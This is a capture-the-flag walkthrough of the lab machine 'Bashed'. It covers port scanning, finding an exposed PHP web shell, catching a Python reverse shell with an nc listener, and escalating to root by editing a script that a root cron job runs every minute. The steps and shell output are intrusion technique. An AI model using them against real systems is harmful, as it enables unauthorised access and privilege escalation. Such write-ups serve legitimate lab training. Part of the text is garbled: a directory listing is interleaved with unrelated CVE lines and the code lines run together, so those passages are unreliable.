Start with nmap and noticed that port 80 is the only port opened
Using gobuster we discover a directory called /dev which contains a phpwebshell
We get a reverse shell using python
Simple enumeration shows we can execute any commands as scriptmanager
Used sudo -u to become scriptmanager and create a reverse shell script in python which gets executed by root every 1 minute.
Nmap
# Nmap 7.80 scan initiated Mon Mar 2 12:37:01 2020 as: nmap -sC -sV -p- -oA nmap/Bashed 10.10.10.68
Nmap scan report for 10.10.10.68
Host is up (0.040s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
There are two files there. It seems like something is executing the test.py script with root privileges because if you mv test.txt test.bkp, after some time, the file gets created again and is owned by root.
# File named test.pycat test.pyf =open("test.txt", "w")f.write("testing 123!")f.close# File named test.txt OWNED by root!!! (huh??)scriptmanager@bashed:/scripts$ cat test.txtcat test.txttesting 123!scriptmanager@bashed:/scripts$# These are the file permissionsdrwxrwxr-- 2 scriptmanager scriptmanager 4096 Mar 212:04. │| CVE-2018-171995.0 https://vulners.com/cve/CVE-2018-17199drwxr-xr-x 23 root root 4096 Dec 42017 .. │| CVE-2018-13335.0 https://vulners.com/cve/CVE-2018-1333-rwxr--r-- 1 scriptmanager scriptmanager 58 Dec 42017 test.py │| CVE-2017-97985.0 https://vulners.com/cve/CVE-2017-9798-rw-r--r-- 1 root root 12 Mar 211:07 test.txt
You can modify the test.py script (this script is owned by user scriptmanager, which is our user) and see if you can get a reverse shell with root privileges. As you can see below, I reused the same exact reverse python shell I used to get user but this time I changed the formatting a little bit.
rlwrap nc -lnvp 9002listening on [any]9002 ... connect to [10.10.14.20]from (UNKNOWN) [10.10.10.68] 59522/bin/sh:0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # python -c 'import pty;pty.spawn("/bin/bash")'
Investigating a little bit into what was executing the test.py on the /scripts directory, we noticed that root had a cron job running which executes all python scripts every minute
root@bashed:/scripts# crontab -l crontab -l ***** cd /scripts; for f in*.py; do python "$f"; done
If you want to learn a little bit more about crontab, check out this site below: